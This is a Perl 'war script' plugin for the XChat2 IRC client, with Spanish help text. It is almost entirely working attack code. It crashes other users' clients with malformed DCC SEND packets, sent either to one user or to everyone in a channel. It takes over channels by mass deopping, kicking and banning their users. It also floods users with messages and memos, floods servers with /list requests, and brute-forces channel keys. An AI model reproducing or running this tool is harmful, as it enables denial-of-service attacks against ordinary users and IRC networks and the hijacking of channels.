#
#	IRC-XChat2 War script by Sha0 #BadCheckSum
#

#!/bin/perl -w

use IO::Socket;

IRC::register ("war-xchat","1.0","fin","");
#IRC::add_message_handler ("hola","saludo");

IRC::add_command_handler ("whelp","whelp");
IRC::add_command_handler ("wnick","wnick");
IRC::add_command_handler ("tkover","tkover");
IRC::add_command_handler ("dccatt","dccatt");
IRC::add_command_handler ("dccattall","dccattall");
IRC::add_command_handler ("dccatts","dccatts");
IRC::add_command_handler ("nickfuck","nickfuck");
IRC::add_command_handler ("msgflood","msgflood");
IRC::add_command_handler ("listflood","listflood");
IRC::add_command_handler ("chanbrute","chanbrute");
IRC::add_command_handler ("msgflood","msgflood");
IRC::add_command_handler ("dccring","dccring");
IRC::add_command_handler ("memoatt","memoatt");
IRC::add_command_handler ("stop","stop");


IRC::print ("War-XChat Loaded   (coded by Sha0)\n\n");
IRC::print ("Si desea obtener ayuda pulse /whelp\n");

sub linuxpowah {
	IRC::command "/SAY   .-.   ";
	IRC::command "/SAY   /\0038v\003\\   ";  
	IRC::command "/SAY  // \\\\  "; 
	IRC::command "/SAY /(   )\\ Gnu/Linux powah ";
	IRC::command "/SAY \0034^^-^^ ";
}

my $server = IRC::get_info(3);
my $yo_mismo = IRC::get_info(1);
my $pass = "Sha0r00lz";
my $stop = 0;

IRC::print ("Hola $yo_mismo ($server) preparado para atacar?\n");

sub whelp {
	IRC::print ("\0038\nOpciones:\n\003");
	IRC::print ("/wnick      <nick>    si cambias de nick \n");
	IRC::print ("/tkover     <canal>   Para hacerte con un canal (has de tener op)\n");
	IRC::print ("/dccatt     <nick|canal>    Para tumbar a alguien\n");
	IRC::print ("/dccattall  <canal>   Para hacer ataques dcc a todos los del canal\n");
	IRC::print ("/dccatts    <victima> <nick>  Para que el nick k pongas atake a la victima\n");
	IRC::print ("/dccring              atacar a todo el anillo irc (es una locura)\n");
	IRC::print ("/nickfuck   <nick>    dcc flood mortal\n");
	IRC::print ("/listflood            Para tumar un servidor irc (o no)\n");
	IRC::print ("/chanbrute  <canal>   Para sacar la clave de un canal cerrado\n");
	IRC::print ("/msgflood   <nick>    Para tumbar a alguien\n");
	IRC::print ("/unloadall            Para quitar la war de tu xchat2\n");
	IRC::print ("/stop                 Para dejar de atacar\n");
	IRC::print ("/protection <on|off>  Para estar protegido contra kikeos\n");
	IRC::print ("/memoatt    <nick>    Memo send flood contra nicks registrados\n");
	IRC::print ("NOTA: Con estos ataques puedes caer del anillo irc, incluso ser klineado\n\n");
}

sub wnick {
	chomp ();
	$yo_mismo = $_[0];
	IRC::print ("Hola $yo_mismo\n");
}

sub tkover {
	chomp ();
	my $chan = $_[0];

	IRC::command ("/join $chan");
	IRC::print ("Taking Over $chan muh4h4h4h4h4\n");

	my %chan_nicks = IRC::user_list_short($chan,$server);
	my $dir = !0;
	my @nicks, @dirs;
	my $i,$pipol = 0;

	foreach $nick (%chan_nicks) {
		if ($dir) {
			push (@nicks,$nick);
			$pipol++;
		} else {
			push (@dirs,$nick);
		}

		$dir = !$dir;
	}

	
	&dccatt ($chan);

	for ($i=0;$i<$pipol;$i++) {
		if ($nicks[$i] ne "Sha0" && $nicks[$i] ne "zapper" && $nicks[$i] ne $yo_mismo) {
			IRC::command ("/mode $chan -o $nicks[$i]");
			if ($stop) { $stop = 0; return; }
		}
	}

	for ($i=0;$i<$pipol;$i++) {
		if ($nicks[$i] ne "Sha0" && $nicks[$i] ne "zapper" && $nicks[$i] ne $yo_mismo) {
			IRC::command ("/kick $nicks[$i] te jodes");
			IRC::command ("/mode $chan +b $dirs[$i]");
			if ($stop) { $stop = 0; return; }
	         }
       	}




	IRC::command ("/mode $chan +k $pass");
	IRC::command ("/mode $chan +i");
	IRC::command ("/mode $chan +m");
	IRC::command ("/mode $chan +R");
	IRC::command ("/me owns you!! muh4h4h4h4h4h");
	&linuxpowah ();
}
sub dccatt {
	chop();
	IRC::print ("Atacando a $_[0]\n");
	IRC::command ("/quote privmsg $_[0] :\x01DCC SEND \"a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 0 1 2 3 4 \" 1 2 3 2130706433 1111 \x01");
	$ttwo=chr 32;
	$buffer="X$ttwo"x"300";
	IRC::send_raw("PRIVMSG $_[0] :\001DCC send \"$buffer\" 0 2130706433 8192\001");
}

sub dccattall {
	chomp();
	my %gente = IRC::user_list_short($_[0],$server);
	my $bool = !0;

	foreach $nick (%gente) {
		if ($bool) {
			&dccatt ($nick);
			if ($stop) { $stop = 0; return; }
		}
		$bool = !$bool;
	}
}

sub dccring {
}

sub dccatts {
	my $nick=$_[0];

	$ocket = IO::Socket::INET->new(
                 PeerAddr=>"$server",
	         PeerPort=>'6667'
	) || IRC::command ("could not connect to $server: $!");
	$line="";
	until($line =~ /Ident/){
        	$oldline=$line;
		$line = <$ocket>;
		if($oldline ne $line) {print $line;}
	}
	print $ocket "user ident irc name ircname\n";  
	$line="";
	until($line =~/PING/){
        	$oldline=$line;
        	$line = <$ocket>;
       		if ($oldline ne $line) {print $line;}
	}
	$line =~ s/.*://;
	print $ocket "PONG :$line\n";
	print $ocket "nick $_[1]\n";
	print $ocket "privmsg $nick :\x01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\x01\n";
	close ($socket);
}

sub nickfuck {
	my $i;

	for ($i=1;$i<50;$i++) {
		&dccatt ($_[0]);
		if ($stop) { $stop = 0; return; }
	}
}

sub listflood {
	my $i;
	for ($i=1;$i<50;$i++) {
		IRC::command ("/list");
		if ($stop) { $stop = 0; return; }
	}
}

sub msgflood {
	my $i, $j, $flood="8888";

	IRC::print ("Generando flood\n");

	for ($j=1;$j<88;$j++) {
		$flood = $flood.$flood;	

		if ($stop) { $stop = 0; return; }
	}

	IRC::print ("Lanzando flood contra $_[0]\n");

	for ($i=1;$i<88;$i++) {
		IRC::command ("/msg $_[0] $flood");

		if ($stop) { $stop = 0; return; }

	}


	IRC::print ("Ataque finalizado\n");
}

sub chanbrute {
	my @letras = ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","ñ","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9");

	chomp();
	local ($base2="",$base="",$key="", $chan=$_[0], $i, $j, $k);

	IRC::print ("Iniciando bruteforce a $chan\n");


	#1 digito
 	for ($i=0;$i<@letras;$i++) {
        	$key=$base.$letras[$i];
		IRC::command ("/join $chan $key");

		if ($stop) { $stop = 0; return; }
        }


	#2 digitos
	for ($j=0;$j<@letras;$j++) {
		$base=$letras[$j];
		for ($i=0;$i<@letras;$i++) {
			$key=$base.$letras[$i];
			IRC::command ("/join $chan $key");

			if ($stop) { $stop = 0; return; }
		}
	}

	 #3 digitos
	 for ($k=0;$k<@letras;$k++) {
		$base2=$letras[$k];

	 	for ($j=0;$j<@letras;$j++) {
	 		$base=$letras[$j];

			for ($i=0;$i<@letras;$i++) {
				$key=$base2.$base.$letras[$i];
				IRC::command ("/join $chan $key");

				if ($stop) { $stop = 0; return; }

			}
	        }
         }


}

sub memoatt {
	local ($i);
	IRC::print ("Lanzando ataque a $_[0] . . .\n");
	for ($i=0;$i<100;$i++) {
		IRC::command ("/msg memo send $_[0] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	}
}

sub stop {
	$stop = 1;
}




sub fin {
	IRC::print ("Hasta luego!!\n");
}

